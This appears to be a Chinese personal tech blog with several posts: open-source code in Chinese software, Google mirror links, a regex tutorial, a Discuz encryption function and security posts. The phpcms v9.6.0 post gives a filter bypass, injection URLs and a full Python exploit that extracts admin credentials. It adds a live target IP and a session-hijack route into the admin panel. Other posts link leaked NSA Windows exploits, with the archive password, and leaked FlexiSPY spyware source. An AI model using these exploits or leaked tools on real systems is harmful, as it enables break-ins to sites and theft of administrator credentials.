但是,国产浏览器继承的往往只是 Chromium 的内核和 JS 引擎,对其拓展支持部分,却大大被阉割。相较于 Chrome,国产浏览器对各种扩展插件的支持都相当弱,往往只能安装修改后的扩展,这也许是出于商业上的原因。虽然国产软件对比 Chrome 默认多了很多功能,但扩展支持较弱这点,还是令可玩性大减。

国产播放器的大奶妈:FFmpeg

大家都喜欢用国产播放器看小电影,毕竟国产播放器的功能体验用起来真的不错,能够搜字幕,能够云播,最重要的还是支持格式比较全。但是,很多人并不知道,支持格式全这点,其实和国外的开源项目 FFmpeg 是息息相关的。9161990_2.png

FFmpeg 的解码器造就了无数万能播放器

FFmpeg 是一个和视频处理相关的开源项目,包含了丰富的多媒体解码库。国内的播放器之所以如此万能,很大程度上就是因为使用了 FFmpeg 的解码库。但是,FFmpeg 是基于 LGPL/GPL 开源的,这意味着如果某软件使用了 FFmpeg 的代码,那么这个软件涉及这些代码的部分,也必须开源。但是国内的风气嘛,你懂的,白拿了你的东西才不要守规矩。因此,国内的一些“XX 影音”被钉在了 FFmpeg 的耻辱柱上。

占了便宜还被踢出门:7-Zip

国内有很多免费的压缩软件,这些压缩软件的功能都挺不错,速度也可以,但内核往往也并非来自自己。国内压缩软件往往使用了7-Zip 这款开源软件的内核,来实现众多压缩文件的支持。

7-Zip 这款开源软件的影响还是非常大的,首先它的效率很高。使用7-Zip 编码的话,能够比 WinZip 和 WinRAR 提供更高的压缩率。另外它对各种压缩文件支持也非常好,主流的压缩文件基本都给予支持,当然一些商业的压缩格式例如 rar,就只能解压不能压缩。

由于7-Zip 是开源的,所以它的内核被很多其他压缩软件所使用,国产压缩软件通常就是7-Zip 的忠实拥簇。

9161990_3.png

7-Zip 在国内不流行的一大原因可能是界面太简陋,但就是这样的风格,社会你 7 哥,人狠话不多

然而,7-Zip 也是一款使用了 LGPL 协议的开源软件,使用了7-Zip 的源码,按理来说也必须开源。但国内的“X压”等软件非但没有开源,还在压缩文件的文件头中故意加入无助于压缩的私货,让其他压缩软件无法解压。用了人家的代码还故意制造不兼容,对于这种行为,只想说一句,“我从未见过如此厚颜无耻之人”!

为老司机铺开康庄大道:eMule

如果你是有些年头的老司机,应该会知道 VeryCD 和电驴。VeryCD 这个站点提供了大量 eD2k 链接,通过旗下的“电驴”软件,就可以下载到各种资源。虽然现在 VeryCD 已经转型,但各大下载软件依然对 eD2k 链接有着良好的支持,各种 eD2k 资源,也是老司机们飙车时绕不开的路。

不过电驴和 eD2k 背后的 eMule“电骡”,大家或许就知之甚少了。其实 eD2k 协议最早起源于商业公司开发的 eDonkey(这才是正牌电驴)分享软件,有个德国人不满这软件,就自己开发了开源的客户端 eMule 电骡,也支持 eD2k 协议。国内的 VeryCD 把 eMule 电骡的开源代码魔改后,制造出了大家熟知的“VeryCD 电驴”。

点击查看原图

如果你没用过 eMule,你可能不是真正的老司机

和 eMule 电骡这个开源软件相比,其实 VeryCD 电驴阉割了相当多的东西。例如,不能直接在 KAD 网络上进行无限制的搜索,这意味着不能无限制地上各种车——现在流行的各种“种子搜索神器”,也只是阉割过的 KAD 搜索器罢了。现在 VeryCD 已经衰败,但 eD2k 仍长存于各大下载软件中,希望大家在开车的同时,也记得背后的 eMule 这位铺路人。

智能路由器的力量之源:OpenWRT

现在国内智能路由器可谓是如火如荼,智能路由器对比传统的路由器,功能的确强大很多。例如,可以外接硬盘当 NAS 用,还可以安装很多第三方插件,实现更强劲的功能。但是,智能路由器所依仗的 OpenWRT,却鲜为人知。点击查看原图

没有 OpenWRT,就没有一众智能路由器

OpenWRT 是一款开源的路由器固件,扩展性强是 OpenWRT 最大的卖点——这也是智能路由器们的最大卖点。OpenWRT 源于 Linux,其强大的拓展性很大程度上也是得益于 Linux。不过和 Linux 一样,OpenWRT 的使用门槛也比较高,原版需要命令行操纵,没有一定的 Linux 和网络知识还真是无法驾驭。国内的路由器厂商把 OpenWRT 改造成界面更友好的固件,可以算是 OpenWRT 的改版。

不过,国内的智能路由器固件虽然上手容易,但对比 OpenWRT,还是有一些方面例如性能和可玩性方面,是有所不如的。对比 OpenWRT,智能路由器固件的性能和稳定性都要偏弱。特别是高流量时候的吞吐性能,差距会显得更加明显;而在扩展方面,由于技术和商业上的原因,可玩性也不如 OpenWRT。而且,国内智能路由器厂商使用了 OpenWRT,往往也不根据 GPL 协议继续开源,这些都是很值得批判一番的。

总结

在这个广告铺天盖地的商业社会,大家很少会听见开源软件的种种消息。闭源的商业软件搭造起了软件世界琳琅满目的繁华,但开源软件也未曾离开过栋梁的位置。诚然,国产软件的很多功能都相当容易上手,但在使用这些商业软件的时候,大家也应该记住背后默默奉献的开源项目,信息时代少了它们,也会失去很多光彩!


admin 发布于  2017-5-2 23:01 

案例一波Google搜索的镜像站-通过抓取日志分析得到的 免费资源

案例一波Google搜索的镜像站-通过抓取日志分析得到的,请叫我活雷锋.


要想解决棘手难题,google 访问肯定少不了。由于日常工作原因,便收集了一些能正常访问 google 的网址,你只要将这些 url 直接在浏览器上进行访问,便能轻松访问google。下面列出这些 Google 镜像站,下面的 url 会持续更新,也感谢提供这些 url 的网友们。【这几天整理一下站点信息,发现越来越多的站点已经失效,这些镜像站点不仅可能被 GFW,而且每个月还要支出服务器费用,要想生存下来实属不易。下面这些镜像站点有的不得已放上了 ad,也是可以理解的,大家科学上网的时候,也尽量支持一下这些镜像站的站长】。我也会继续收集一些可以用的镜像站点,下面的站点不管是原版还是变种,本质都是google搜索,下面附上这些可行的:

https://gufen.ga/ (无广告,原guso.ml,ggso.ga,guge.ga)
https://g.amirror.tk/ (无广告,体验良好)
https://gg.qing.li/  (无广告,体验良好)
https://so.moyoo.net/ (无广告,体验良好)
https://www.xichuan.pub/ (无广告,体验良好)
https://c.ggkai.men/  (有广告,体验一般)
http://test.house8013.cn/  (无广告,体验良好)
http://g.suconghou.cn (无广告,体验良好)
http://g.neoapi.com/ (无广告,体验良好)
https://google.gg-g.org/ (无广告,体验良好)
http://google.suanfazu.com/ (整合搜索,非原版)
https://kuaiguge.info (无广告,体验良好)
https://g.zmirrordemo.com/ (第一次访问需验证,部分地区被qiang)
https://google.speeder.cf/  (第一次访问需验证)
https://www.aiguso.ga/ (已被qiang)
https://freedo.ga/ (已被qiang)
https://gg.cellmean.com (无广告,体验良好)
谷歌学术
https://xues.glgoo.com/
https://c.ggkai.men/scholar
http://g.suconghou.cn/scholar
http://a.a.88dr.com/
http://www.tmeishi.com/xs/
https://www.xichuan.pub/scholar
https://a.ggkai.men/…/scholar.google.com/
https://google.speeder.cf/…scholar.google.com/
https://xue.glgoo.com
变种网页:
http://www.tmeishi.com/ (无广告,搜索体验良好)
http://www.ibying.com/ (无广告,搜索体验良好)
http://search.twcc.com/  (无广告,体验良好)
https://www.tlss.space/ (无广告,体验良好)
http://googlebridge.com/ (无广告,体验良好)
http://www.yegoogle.com/ (无广告,体验良好)
https://www.sov5.com/ (无广告,体验良好)
http://www.gycc.com/ (无广告,体验良好)
http://www.gfsoso.me/ (有广告,体验一般)
http://www.17soso.cn/ (无广告,搜索体验良好)
http://www.aifago.com/ (无广告,搜索体验良好)
https://www.dcrss.net (无广告,搜索体验良好)
https://www.dcrss.com/ (google学术和网页)
http://www.daysou.com/ (有广告,体验一般)
http://www.lstsrw.org/ (有广告,体验一般)

收集几个维基镜像:

https://wc.yooooo.us

https://g.zmirrordemo.com/wiki

https://www.g00gle.pw/wiki

https://wikipedia.kfd.me



希望上面的这些可以帮到你们科学上网,提高效率.国内的搜索真的...全是广告!!!!


admin 发布于  2017-5-1 15:37 

phpcms_v9.6.0_sql注入与exp 渗透测试

phpcms_v9.6.0_sql注入分析

可疑的函数

localhost/phpcms/modules/attachment/attachments.php文件的第241GET提交src变量带上了safe_relace函数,现在我们跟入这个该死的过滤函数看看它到底在搞什么鬼....*/

2.过滤函数剖析和绕过

localhost/phpcms/libs/functions/global.func.php文件的63行开始可以看到此处将传入的%27和%2527都进行删除处理也就是还没传入数据库前就已经被该死的程序吃了,但是在67行看到他还吃了*这样我们就有办法了也就是传入%*27程序吃掉星号后%27就会被传入。*/

3.src变量到底去哪了

/*这里不做截图请回到第一步的截图查看,在241行代码src传入arr数组后在243行被json_encode函数加密为json格式后传入json_str数组,然后在244行代码又将json加密为cookie。在这里我做个大胆的假设src存在注入那么我们要传入参数:src=%*27 updatexml(1,concat(1,(user())),1)%23;那么我们传入的参数将会被json加密后最终成为了:{src:%*27 updatexml(1,concat(1,(user())),1)%23};再然后就是cookie加密这里不做计算cookie加密值需要的同学自己echo,假设暂且到这,它的最终这些动作都被赋值为swfupload_json函数。到此src变量故事以及完结请看下一章。*/

down.php的decode成全了我

/*在localhost/phpcms/modules/content/down.php的第14行代码将a_k变量进行了decode操作这样子我们把刚刚在src进行加密的SQL传入a_k他就会进行解密还原回json,17行 将json字符串解析成变量 -> parse_str 以 & 区分,将字符串解析成3个变量最后传入SQL为:{“aid":1,"src":"&id=%27 updatexml(1,concat(1,(user)),1)#&m=1&f=haha&modelid=2&catid=7&”,”filename”:””};此处可以看到之前%*27的*没了因为已经被他妈的狗比安全函数吃了*。最后我们看在第26行代码将id传入SQL字段id既然这样那就OK了我们尝试还原。*/

phpcms_v9.6.0_sql注入还原

1.访问/index.php?m=wap&c=index&a=init&siteid=1获取一个cookie值传入该死的src那块操作否则会没有身份

2.把这个傻逼cookie的值复制下来以POST传入userid_flash变量访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26不要问我URL编码里面是什么东西我会告诉你那是SQL的Payload

3.上一步我们已经获取到了通过json在通过cookie加密的SQL了因为他返回的cookie就是已经加密的SQLPayload现在我们传入到a_k变量看看到底发生了什么?

网上这个文档传的很快

作者我也不知道是谁

大家都把版权改成自己的

我也是醉了

有知情人士可留言~给人家一个版权

下面是EXP:

import requests,sys,urllib

url = sys.argv[1]

print 'Phpcms v9.6.0 SQLi Exploit Code By Luan'

sqli_prefix = '%*27an*d%20'

sqli_info = 'e*xp(~(se*lect%*2af*rom(se*lect co*ncat(0x6c75616e24,us*er(),0x3a,ver*sion(),0x6c75616e24))x))'

sqli_password1 = 'e*xp(~(se*lect%*2afro*m(sel*ect co*ncat(0x6c75616e24,username,0x3a,password,0x3a,encrypt,0x6c75616e24) fr*om '

sqli_password2 = '_admin li*mit 0,1)x))'

sqli_padding = '%23%26m%3D1%26f%3Dwobushou%26modelid%3D2%26catid%3D6'

setp1 = url + '/index.php?m=wap&a=index&siteid=1'

cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


admin 发布于  2017-4-24 21:30 

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏 业界新闻

号称全球最权威的监控软件 FlexiSPY 被黑,相关源码、编译、文档被泄漏,

在4月22日,由 @fleximinx 储存整理.

Source files:


bb_cyclops.zip d84f692b12c732e14ad463b4d7d0ec34 from Tweet Mega : files in 2012-01-11_v.1.03.2 folder

Gamma.zip cff15a5bad15118a7e43c1c3f0d13df1 from Tweet Mega : Gamma Symbian malware certs/signatures in Gamma folder

bin.zip aa735cb779ce9089665eb821f596a7eb from Tweet Mega : binaries of apps in bin folder

omni.zip 4677a66eab2d44e410dfb36da64705c5 from Tweet Mega : source code of Android app in 1.00.1 folder

android_cyclops.zip 5c80bcb6576d5c58143ea48ee43de5f8 from Tweet Mega : source code of Android Cyclops in Cyclops -1.00.4 folder

iphone_phoenix_4.9.1.zip 25b7416a26624ffec76b3197f84f0d59 Tweet Mega : source code of IOS app in FlexiSPY Phoenix 4.9.1 folder



github备份地址: https://github.com/Mrxn-code/flexidie


其实 FlexiSPY 就是个灰色地带的“间谍”软件。

FlexiSPY 官网有中文页面,可以细细了解下它在干什么:

https://www.flexispy.com/zh/





admin 发布于  2017-4-24 10:29 

小计一个正则匹配提取实例之从网页中提取所有域内链接 技术文章

比如某个网站包含如下的内容:


<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">---------〖校内机构〗---------</option>
          <option>————管理机构————</option>
          <option value="/dzbgs/">党政办公室</option>
          <option value="/xcb/">党委组织宣传部</option>
          <option value="/rsc/">人事处</option>
          <option value="/jwc/">教务处</option>
          <option value="/xsc/">学生处(党委学工部)</option>
          <option value="/zsxx/">招生办公室</option>
          <option value="/jyb/">就业指导办公室</option>
          <option value="/cwc/">财务处</option>
          <option value="/zcc/">资产管理处</option>
                    <option value="/wsc/">国际合作交流处</option>
          <option value="/kyc/">科研处</option>
          <option value="/dds/">督导室</option>
          <option value="/zlpg/">质量监控与评估中心</option>
          <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option>
          <option value="/hq/">后勤服务公司</option>

          <option>————教学机构————</option>
          <option value="/yyyyxy/">英语语院</option>
                              <option value="/dfyyyxy/">东方语学院</option>
                    <option value="/yayyxy/">西方语学院</option>
                    <option value="/gjsxy/">国际商学院</option>
          <option value="/gjwhjlxy/">文学与新闻传播学院</option>
          <option value="/gsgl/">管理学院</option>
          <option value="/ysxy/">艺术学院</option>
          <option value="/yyxy/">音乐学院</option>
          <option value="/szjyb/">思想政治理论教研部</option>
                 <option value="/tyb/">体育部</option>
                                     <option value="/jxjyxy/">继续教育学院</option>

          <option>————教辅机构————</option>
          <option value="/tsg/">图书馆</option>
          <option value="/net/">现代教育技术中心</option>

           <option>————教辅机构————</option>
          <option value="/gh/">工会</option>
          <option value="/tw/">团委</option>
        </select>

我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!


使用正则提取两个双引号之间的内容,正则表达式很简单:

/(.*)[A-Z-a-z]/


Mrxn_20170422_213938.png

这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):

(.?^/)


Mrxn_20170422_214045.png

直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!

本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.


http://www.xxxx.com/dzbgs/
http://www.xxxx.com/xcb/
http://www.xxxx.com/rsc/
http://www.xxxx.com/jwc/
http://www.xxxx.com/xsc/
http://www.xxxx.com/zsxx/
http://www.xxxx.com/jyb/
http://www.xxxx.com/cwc/
http://www.xxxx.com/zcc/
http://www.xxxx.com/wsc/
http://www.xxxx.com/kyc/
http://www.xxxx.com/dds/
http://www.xxxx.com/zlpg/
http://www.xxxx.com/bwc/
http://www.xxxx.com/hq/
http://www.xxxx.com/yyyyxy/
http://www.xxxx.com/dfyyyxy/
http://www.xxxx.com/yayyxy/
http://www.xxxx.com/gjsxy/
http://www.xxxx.com/gjwhjlxy/
http://www.xxxx.com/gsgl/
http://www.xxxx.com/ysxy/
http://www.xxxx.com/yyxy/
http://www.xxxx.com/szjyb/
http://www.xxxx.com/tyb/
http://www.xxxx.com/jxjyxy/
http://www.xxxx.com/tsg/
http://www.xxxx.com/net/
http://www.xxxx.com/gh/
http://www.xxxx.com/tw/

好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!

PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!


标签: 代码 正则

admin 发布于  2017-4-22 21:27 

NSA 方程式组织又被泄了一批好东西,主要是windows的exploit 安全工具

点击查看原图


Decrypted content of odd.tar.xz.gpg, swift.tar.xz.gpg and windows.tar.xz.gpg

Downloaded from https://yadi.sk/d/NJqzpqo_3GxZA4 Original post from the #ShadowBrokers https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation

  • windows: contains Windows exploits, implants and payloads
  • swift: contains operational notes from banking attacks
  • oddjob: docs related to the ODDJOB backdoor

相关链接: https://yadi.sk/d/NJqzpqo_3GxZA4  解压密码: Reeeeeeeeeeeeeee

这次的文件有三个目录,分别为“Windows”、“Swift” 和 “OddJob”,包含一堆令人震撼的黑客工具(我们挑几个重要的列举如下):

EXPLODINGCAN 是 IIS 6.0 远程漏洞利用工具

ETERNALROMANCE 是 SMB1 的重量级利用,可以攻击开放了 445 端口的 Windows XP, 2003, Vista, 7, Windows 8, 2008, 2008 R2 并提升至系统权限。

除此之外 ERRATICGOPHER 、ETERNALBLUE 、ETERNALSYNERGY 、ETERNALCHAMPION 、EDUCATEDSCHOLAR、 EMERALDTHREAD 等都是 SMB 漏洞利用程序,可以攻击开放了 445 端口的 Windows 机器。

ESTEEMAUDIT 是 RDP 服务的远程漏洞利用工具,可以攻击开放了3389 端口的 Windows 机器。

FUZZBUNCH 是一个类似 MetaSploit 的漏洞利用平台。

ODDJOB 是无法被杀毒软件检测的 Rootkit 利用工具。

ECLIPSEDWING 是 Windows 服务器的远程漏洞利用工具。

ESKIMOROLL 是 Kerberos 的漏洞利用攻击,可以攻击 Windows 2000/2003/2008/2008 R2 的域控制器。


命名为 Windows 文件夹中的黑客工具适用于较早版本的 WindowsNT、windows 2000、XP、windows 7、windows 8等等。



下面的是我克隆的一份.以作备用,话说,国内的反应速度都好慢....关于exploit的威力,自行测试,反正我试了几个,很满意!哈哈.

https://github.com/Mrxn-code/EQGRP_Lost_in_Translation  (不懂的就不要来唧唧歪歪的问这问那,懂的人自然知道)


admin 发布于  2017-4-15 09:25 

Discuz 加密解密函数 authcode PHP

<?php
/**
 * $string 明文或密文
 * $operation 加密ENCODE或解密DECODE
 * $key 密钥
 * $expiry 密钥有效期
 */ 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
    // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
    // 当此值为 0 时,则不产生随机密钥
    $ckey_length = 4;

    // 密匙
    // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); 

    // 密匙a会参与加解密
    $keya = md5(substr($key, 0, 16));
    // 密匙b会用来做数据完整性验证
    $keyb = md5(substr($key, 16, 16));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    // 参与运算的密匙
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        // substr($result, 0, 10) == 0 验证数据有效性
        // substr($result, 0, 10) - time() > 0 验证数据有效性
        // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
        // 验证数据有效性,请看未加密明文的格式
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
        // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$a = "mrxn.net";
$b = authcode($a, "ENCODE", "abc123");
echo $b."<br/>";
echo authcode($b, "DECODE", "abc123");
?>

运行效果如下:

4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM

mrxn.net

注:因学习需要,转载挡笔记.文章来源于网络.


admin 发布于  2017-4-14 11:21